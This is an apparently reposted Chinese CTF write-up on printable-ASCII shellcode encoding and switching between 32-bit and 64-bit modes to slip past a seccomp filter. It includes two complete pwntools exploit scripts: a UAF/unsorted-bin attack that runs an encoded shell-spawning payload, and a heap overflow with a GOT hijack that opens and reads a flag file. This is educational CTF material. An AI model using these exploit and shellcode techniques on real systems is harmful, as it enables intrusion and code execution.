ASCII码-shellcode的技巧

news2024/11/23 20:21:35

网上已经有成熟的工具了,所以就简单记录一下工具怎么用吧

https://github.com/TaQini/alpha3

https://github.com/veritas501/ae64.git

https://github.com/rcx/shellcode_encoder

结合题目来看吧,没有开启NX保护,基本这类型题目九成九都是shellcode题

image-20230812220258102

程序一开始会让我们在bss段上输入数据,并且判断输入的字符大小是否小于0x1F,再结合NX保护没开启的操作,很容易可以想到此时输入的就是shellcode,而每个字节的不能小于0x1F,那么使用ASCII码shellcode就可以完全绕过了,因为小于0x1F的都是不可见字符

image-20230812220502748

接着再来看题目存在的漏洞,题目存在很明显的UAF漏洞

image-20230812220758365

在选项5中则是留有触发shellcode的条件,只要dword_602440不为0则直接指向我们输入的shellcode,而dword_602440位于bss段,因此默认就为0

image-20230812220848343

而在add函数中,分配堆块又恰好都在unsortbin的范围内,那么思路很清楚了,就是使用unsortbin修改dword_602440的值,那么就能触发shellcode

image-20230812221039170

剩下就是shellcode如何绕过0x1F这个限制,可以看到syscal是\xf\x5,因此syscal都无法绕过这个限制

image-20230812221435095

这里使用ae64这个工具

‍帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

首先将需要修改的shellcode以二进制的形式导出,这里直接用pwntools生成的shellcode即可

from ae64 import AE64
from pwn import *
context.arch='amd64'

# get bytes format shellcode
shellcode = asm(shellcraft.sh())

# get alphanumeric shellcode
f = open('shellcode','wb+')
f.write(shellcode)
f.close()

image-20230812222658159

接着使用ae64的库直接修改为ASCII码shellcode

from pwn import *
from ae64 import AE64

context.arch = 'amd64'


obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'rdx')
print(sc)

这里rdx即为shellcode执行的时候call的寄存器

image-20230812223222314

然后就可以生成shellcode了

image-20230812223247022

紧接着拿这段生成的shellcode就可以绕过了

exp

from pwn import *

sh = process("./pwn")
context(arch='amd64')


def add(size):
	sh.recvuntil(" choice:")
	sh.sendline("1")
	sh.recvuntil(" message?")
	sh.sendline(str(size))

def delete(index):
	sh.recvuntil(" choice:")
	sh.sendline("2")
	sh.recvuntil("o be deleted?")
	sh.sendline(str(index))

def edit(index,content):
	sh.recvuntil(" choice:")
	sh.sendline("3")
	sh.recvuntil(" be modified?")
	sh.sendline(str(index))
	sh.recvuntil("t of the message?")
	sh.sendline(content)

def show(index):
	sh.recvuntil(" choice:")
	sh.sendline("4")
	sh.recvuntil(" to be showed?")
	sh.sendline(str(index))

def exp():
	sh.recvuntil(" choice:")
	sh.sendline("5")
payload = "RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZj3TYfi9520t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9200t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP"
sh.send(payload)
add(0x81)
add(0x81)
delete(0)
edit(0, p64(0) + p64(0x602440 - 0x10))
add(0x81)
exp()


sh.interactive()

机器切换-shellcode

有时候会遇到题目需要同时使用32位shellcode与64位shellcode,那么如何进行机器切换则成为解题的关键。

CS寄存器则是用于标记机器位数的关键寄存器

  • CS=0x33,64位
  • CS=0x23,32位

那么如何修改CS寄存器的值,则需要通过retfq与retf的指令

  • refq,从64位切换到32位

    • push 0x23; #32位的CS寄存器的值
      push 0xxx; #需要跳转的地址
      retfq; #从32位切换到64位
      
  • ref,从32位切换至64位

    • push 0x33; #64的CS寄存器的值
      push 0xxx; #需要跳转的地址
      retf; #从64位切换到32位
      

再以一道题目作为例子,保护如下,还是没有开启NX保护

image-20230812224501848

题目漏洞在于,再add函数中可申请11个堆块,而题目中给堆块地址容纳的个数为10,因此申请的第11个堆块的地址则会到length中,从而导致第1个堆块的大小变成了堆块的地址值,造成了堆溢出。

image-20230812224711955

这里有个需要注意的地方是会首先检测存放堆块的位置是否为0,为0才会给该堆块申请的机会,因此第1个堆块的大小必须设置为0,才能够申请到11个堆块。

image-20230812225143067

题目还是用mallopt修改了fastbin的大小为0x10,因此使得无法释放的堆块无法放置到fastbin中,但是mallopt实际是修改了max_global_fast的大小

image-20230812225341764

但是题目存在堆溢出漏洞,因此使用修改Unsortbin的bk指针,修改global_max_fast的即可,这样就可以让堆块放进fastbin中了。

并且允许在bss段上输入数据,且该地址刚好在存放堆块地址的上方,因此伪造虚假堆块在该位置就可以完成任意地址写了。

image-20230812225458229

紧接着修改free函数的got表地址为堆块地址,就可以跳转到shellcode中执行,可以看到堆块地址也是具有可执行权限的。

image-20230812225635212

查看一下禁用了哪些函数,发现只能用read,write以及fstat函数,但是fstat函数对于这道题来说没有用。那么没有open函数,我们就没办法进行orw的利用了。

image-20230812225852456

可以看到fstat函数的64位的系统调用号为5

image-20230812230046268

但是32位下的系统调用号5为open函数

image-20230812230125078

那么如果能切换到32位下执行系统调用为5的系统调用,即可完成open函数的执行,这里就要用到上述的方法使用ref与refq指令完成机器位数的切换。

这里需要注意两个点

(1)在切换为机器位数之后栈顶的地址会被截断为4个字节,因此需要重新调整一下栈顶的地址

image-20230812230855903

(2)在机器位数切换为32位时,在执行系统调用还是会显示原来的函数,但是这个是gdb显示错误,它实际被修改为open函数了

image-20230812230929182

exp

from pwn import *

#sh = process("./pwn")

elf = ELF("pwn")

def user(name,desc):
	sh.recvuntil("choice:")
	sh.sendline("0")
	sh.recvuntil(" name?")		
	sh.send(name)
	sh.recvuntil("desc?")
	sh.send(desc)

def add(size):
	sh.recvuntil("choice:")
	sh.sendline("1")
	sh.recvuntil(" message?")
	sh.send(str(size))

def delete(index):
	sh.recvuntil("choice:")
	sh.sendline("2")
	sh.recvuntil(" be deleted?")
	sh.send(str(index))

def edit(index, offset, content):
	sh.recvuntil("choice:")
	sh.sendline("3")
	sh.recvuntil("ssage to be modified?")
	sh.send(str(index))
	sh.recvuntil("message to be modified?")
	sh.send(str(offset))
	sh.recvuntil("ent of the message?")
	sh.send(content)

while(1):
	try:
		sh = process("./pwn")
		add(0) #0
		add(0) #1
		add(0x60)
		for i in range(8):
			add(0x71)
		delete(1)
		payload = p64(0)*3 + p64(0x21) + p64(0) + p16(0x37f8 - 0x10)
		edit(0,0,payload)
		add(9)
		delete(2)
		delete(3)
		delete(4)
		delete(5)
		user('a'*0x10+p64(0)+p64(0x71),'b')
		target = 0x6020f0 
		payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(target)
		edit(0,0,payload)
		add(0x60)#2
		sh.recvuntil("Ptr: ")
		addr = int("0x"+sh.recv(6),16)
		log.info("addr:"+hex(addr))
		add(0x60)#3
		edit(3,0,p64(elf.got['free']))
		payload = asm('push 0x23;push '+hex(addr+9)+';retfq', arch='amd64')
		payload += asm('mov esp, '+hex(target+0x50)+';push 0x6761;push 0x6c662f2e;push esp;pop ebx; xor ecx,ecx; mov eax,5; int 0x80',arch='i386')
		payload += asm('push 0x33;push '+hex(addr+0x2b)+';retf')
		payload += asm('mov rdi,rax; mov rsi,0x602080;mov rdx, 0x100;mov rax, 0;syscall;',arch='amd64')
		payload += asm('mov rdi,1;mov rax ,1;syscall;',arch='amd64')
		edit(2,0,payload)
		edit(0,0,p64(addr))
		#attach(sh,'b*'+str(addr))
		delete(6)
		sh.interactive()
	except:
		continue

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/911434.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

十年IT老炮都说不清的云计算,一文让你看懂

今天老陈想跟大家聊一聊云计算这个东西究竟是啥,为啥那么多企业都对云计算趋之若鹜、情有独钟,但是却没人知道云计算究竟能做什么? 一句话总结:云计算就是一个大号的虚拟旅行社。 最近老陈想要蹭个热度去淄博吃烧烤,…

【849. 到最近的人的最大距离】

来源:力扣(LeetCode) 描述: 给你一个数组 seats 表示一排座位,其中 seats[i] 1 代表有人坐在第 i 个座位上,seats[i] 0 代表座位 i 上是空的(下标从 0 开始)。 至少有一个空座位…

3招教你释放储存空间:iPhone手机内存不足怎样清理最彻底

无论是什么手机,一旦使用时间长了,手机就会产生大量不必要的文件,从而导致手机内存不足,运行缓慢、卡顿。想要删除没用的文件该怎么做?iPhone手机内存不足怎样清理最彻底?今天就让小编来给大家分享一下&…

Apache BeanUtils工具介绍

beanutils,顾名思义,是java bean的一个工具类,可以帮助我们方便的读取(get)和设置(set)bean属性值、动态定义和访问bean属性;细心的话,会发现其实JDK已经提供了一个java.beans包,同样可以实现以上功能&…

MyBatis的核心技术掌握,简单易懂

目录 一.MyBatis中的动态SQL 二.MyBatis中的模糊查询 1. # 符号 2. $ 符号 ---问题 ---所以大家知道 # 和 $ 在MyBatis中的模糊查询中的区别了嘛?? 三.MyBatis 中的结果映射 1. resultType: 2. resultMap: ---问题 ---…

grpc整合Springboot

一、grpc的依赖 <dependencies><dependency><groupId>net.devh</groupId><artifactId>grpc-server-spring-boot-starter</artifactId><version>2.9.0.RELEASE</version></dependency></dependencies><build>…

技术未来论:为何校对将是AI时代的新前沿

随着信息时代的逐步深化&#xff0c;AI技术已成为全球进程中的核心动力。其深远的影响已经触及了社会的各个领域。而在这充满机器智慧的时代&#xff0c;一个古老的领域——校对&#xff0c;却意外地与AI结合&#xff0c;成为了新的技术前沿。这是为何&#xff1f; 1.信息的尊…

YOLO目标检测算法调试过程学习记录

先前已经完成过YOLO系列目标检测算法的调试过程&#xff0c;今天主要是将所有的调试加以总结 这里的conda环境就不再赘述了&#xff0c;直接使用requirement.txt文件的即可&#xff0c;也可以参考YOLOX的配置过程5 数据集处理 YOLOv5有自己的数据集格式&#xff0c;博主的数据…

面试热题(二叉树的最大路径)

路径 被定义为一条从树中任意节点出发&#xff0c;沿父节点-子节点连接&#xff0c;达到任意节点的序列。同一个节点在一条路径序列中 至多出现一次 。该路径 至少包含一个 节点&#xff0c;且不一定经过根节点。 路径和 是路径中各节点值的总和。 给定一个二叉树的根节点 root…

Electron学习2 使用Electron-vue和Vuetify UI库

Electron学习2 使用Electron-vue和Vuetify UI库 一、Electron-vue简介二、安装yarn三、创建Electron-vue项目1. 关于 electron-builder2. 安装脚手架3. 运行4. 打包应用程序 四、background.js说明1. 引入模块和依赖&#xff1a;2. 注册协议&#xff1a;3. 创建窗口函数&#x…

企业内部wiki系统工具有哪些?盘点 8款最佳 Wiki 系工具

WiKi支持面向社群的协作式写作&#xff0c;同时也包括一组支持这种写作的辅助工具。有人认为&#xff0c;Wiki系统属于一种人类知识的网络系统&#xff0c;我们可以在Web的基础上对Wiki文本进行浏览、创建、更改&#xff0c;而且这种创建、更改、及发布的代价远比HTML文本小 &a…

Java“牵手”根据关键词搜索(分类搜索)lazada商品列表页面数据获取方法,lazadaAPI实现批量商品数据抓取示例

lazada商城是一个网上购物平台&#xff0c;售卖各类商品&#xff0c;包括服装、鞋类、家居用品、美妆产品、电子产品等。要获取lazada商品列表和商品详情页面数据&#xff0c;您可以通过开放平台的接口或者直接访问lazada商城的网页来获取商品详情信息。以下是两种常用方法的介…

通达信指标公式15:除权除息数据统计分析

#1.关于除权除息指标的介绍&#xff1a;本指标是小红牛原创指标之一&#xff0c;觉得有必要研究一下这个问题&#xff0c;所以就花时间整理一下这个指标相关内容&#xff0c;大家可以在本源码基础上&#xff0c;进一步优化自己的思路。本指标为通达信幅图指标&#xff0c;可以做…

关于通达信指标公式中,出现乱码的解决方法

★★★★★博文原创不易&#xff0c;我的博文不需要打赏&#xff0c;也不需要知识付费&#xff0c;可以白嫖学习小技巧&#xff0c;喜欢的老铁可以多多帮忙点赞&#xff0c;小红牛在此表示感谢&#xff0c;就是对作者的最大支持。愿与诸君共勉&#xff0c;悟道于股市★★★★★…

软件测试下的AI之路(1)

&#x1f60f;作者简介&#xff1a;博主是一位测试管理者&#xff0c;同时也是一名对外企业兼职讲师。 &#x1f4e1;主页地址&#xff1a;【Austin_zhai】 &#x1f646;目的与景愿&#xff1a;旨在于能帮助更多的测试行业人员提升软硬技能&#xff0c;分享行业相关最新信息。…

手机无人直播软件,有哪些优势?

近年来&#xff0c;随着手机直播的流行和直播带货的市场越来越大&#xff0c;手机无人直播软件成为许多商家开播带货的首选。在这个领域里&#xff0c;声音人无人直播系统以其独特的优势&#xff0c;成为市场上备受瞩目的产品。接下来&#xff0c;我们将探讨手机无人直播软件给…

IO流笔记

文件基础知识 创建文件 package org.example; import org.junit.Test;import java.io.File; import java.io.IOException;public class FileCreate{public static void main(String[] args) {}Test//方式1&#xff1a;new File(Strin pathname)public void create01(){File fil…

innovus如何设置size only

我正在「拾陆楼」和朋友们讨论有趣的话题&#xff0c;你⼀起来吧&#xff1f; 拾陆楼知识星球入口 给instance设置size only属性命令如下: dbset [dbGet top.inst.name aa/bb -p] .dontTouch sizeOk 给一个module设置size only需要foreach循环一下: foreach inst [dbGet top.…

Docker常用操作命令(二)

Docker常用操作命令(二) 11、进入容器 docker exec -it 容器名称or容器ID /bin/bash [rootzch01 ~]# docker exec -it 973ff3caff19 /bin/bash 退出容器 root973ff3caff19:/# exit 12、查看容器中的进程 docker top 容器名称or容器ID [rootzch01 ~]# docker top 973ff3c…

Sui第四轮资助:16个团队瓜分

近日&#xff0c;Sui基金会公布了第四轮开发者资助名单&#xff0c;受助项目均是集中在DeFi、支付、基础设施、游戏、预言机等领域的Sui生态项目&#xff0c;他们是从2023年7月1日之前提交的申请中选出的。在此时间之后提交的任何项目目前正在审查中。 在前三轮资助中累积发放…